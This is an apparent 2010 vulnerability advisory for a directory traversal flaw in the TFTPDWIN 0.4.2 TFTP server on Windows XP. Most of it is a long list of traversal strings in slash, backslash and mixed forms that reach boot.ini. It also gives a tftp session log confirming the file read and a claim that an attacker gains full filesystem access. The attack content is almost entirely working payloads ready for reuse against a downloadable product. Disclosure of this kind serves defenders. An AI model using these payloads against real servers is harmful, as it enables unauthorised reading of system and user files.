TFTPDWIN 0.4.2 Directory Traversal

`+------------------------------------------------------------------------+  
| ....... |  
| ..''xxxxxxxxxxxxxxx'... |  
| ..'xxxxxxxxxxxxxxxxxxxxxxxxxxx.. |  
| ..'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'. |  
| .'xxxxxxxxxxxxxxxxxxxxxxxxxxxx'''.......'. |  
| .'xxxxxxxxxxxxxxxxxxxxx''...... ... .. |  
| .xxxxxxxxxxxxxxxxxx'... ........ .'. |  
| 'xxxxxxxxxxxxxxx'...... '. |  
| 'xxxxxxxxxxxxxx'..'x.. .x. |  
| .xxxxxxxxxxxx'...'.. ... .' |  
| 'xxxxxxxxx'.. . .. .x. |  
| xxxxxxx'. .. x. |  
| xxxx'. .... x x. |  
| 'x'. ...'xxxxxxx'. x .x. |  
| .x'. .'xxxxxxxxxxxxxx. '' .' |  
| .xx. .'xxxxxxxxxxxxxxxx. .'xx'''. .' |  
| .xx.. 'xxxxxxxxxxxxxxxx' .'xxxxxxxxx''. |  
| .'xx'. .'xxxxxxxxxxxxxxx. ..'xxxxxxxxxxxx' |  
| .xxx'. .xxxxxxxxxxxx'. .'xxxxxxxxxxxxxx'. |  
| .xxxx'.'xxxxxxxxx'. xxx'xxxxxxxxxx'. |  
| .'xxxxxxx'.... ...xxxxxxx'. |  
| ..'xxxxx'.. ..xxxxx'.. |  
| ....'xx'.....''''... |  
| |  
| CubilFelino Security Research Labs |  
| proudly presents... |  
+------------------------------------------------------------------------+  
  
  
Author: chr1x ([email protected])  
Date: August 30, 2010  
Affected operating system/software, including full version details  
* TFTP Server TFTPDWIN v0.4.2, Tested on Windows XP PRO SP3  
  
Download:  
http://www.prosysinfo.webpark.pl/sciagnij.html  
http://www.versiontracker.com/php/dlpage.php?id=10417389&db=win&pid=10417389&kind=&lnk=http://www.prosysinfo.com.pl/tftpserver/tftpdwin.exe  
  
How the vulnerability can be reproduced  
  
* Please, use the strings shown below to reproduce the issue.  
  
[*] Testing Path: ../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../../../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../../../../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\..\..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\..\..\..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../../../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../../../../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\..\..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\..\..\..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../../../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ../../../../../../../../boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\..\..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: ..\..\..\..\..\..\..\..\boot.ini <- Vulnerable string!!  
[*] Testing Path: \../boot.ini <- Vulnerable string!!  
[*] Testing Path: \../\../boot.ini <- Vulnerable string!!  
[*] Testing Path: \../\../\../boot.ini <- Vulnerable string!!  
[*] Testing Path: \../\../\../\../boot.ini <- Vulnerable string!!  
[*] Testing Path: \../\../\../\../\../boot.ini <- Vulnerable string!!  
[*] Testing Path: \../\../\../\../\../\../boot.ini <- Vulnerable string!!  
[*] Testing Path: \../\../\../\../\../\../\../boot.ini <- Vulnerable string!!  
[*] Testing Path: \../\../\../\../\../\../\../\../boot.ini <- Vulnerable string!!  
[*] Testing Path: /..\/..\boot.ini <- Vulnerable string!!  
[*] Testing Path: /..\/..\/..\boot.ini <- Vulnerable string!!  
[*] Testing Path: /..\/..\/..\/..\boot.ini <- Vulnerable string!!  
[*] Testing Path: /..\/..\/..\/..\/..\boot.ini <- Vulnerable string!!  
[*] Testing Path: /..\/..\/..\/..\/..\/..\boot.ini <- Vulnerable string!!  
[*] Testing Path: /..\/..\/..\/..\/..\/..\/..\boot.ini <- Vulnerable string!!  
[*] Testing Path: /..\/..\/..\/..\/..\/..\/..\/..\boot.ini <- Vulnerable string!!  
  
Confirmation Log:  
  
root@olovely:/# tftp 192.168.1.53  
tftp> connect  
(to) 192.168.1.53  
tftp> ascii  
tftp> get  
(files) ..\..\..\..\..\..\..\boot.ini  
Received 211 bytes in 0.0 seconds  
tftp>  
  
  
What impact the vulnerability has on the vulnerable system  
Any additional details that might help in the verification process  
  
* High, since when exploiting the vulnerability the attacker is able to get full access to the victim filesystem.  
  
  
`